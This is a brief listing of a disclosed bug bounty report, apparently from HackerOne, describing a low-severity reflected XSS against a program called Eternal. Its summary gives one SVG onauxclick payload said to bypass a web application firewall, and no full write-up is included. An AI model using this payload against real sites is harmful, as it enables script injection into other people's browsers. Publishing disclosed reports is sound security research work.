Eternal · Report #743345
HTML injection leads to reflected XSS
Validstatus
lowseverity
$150bounty
26upvotes
7 Sept 2021disclosed
Summary
The following payload was used to bypass the WAF:
"><svg height="1000" width="1000" onauxclick=confirm`12233`> <circle cx="500" cy="500" r="400" stroke="black" stroke-width="3" fill="red" /> </svg>
How it was found
The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.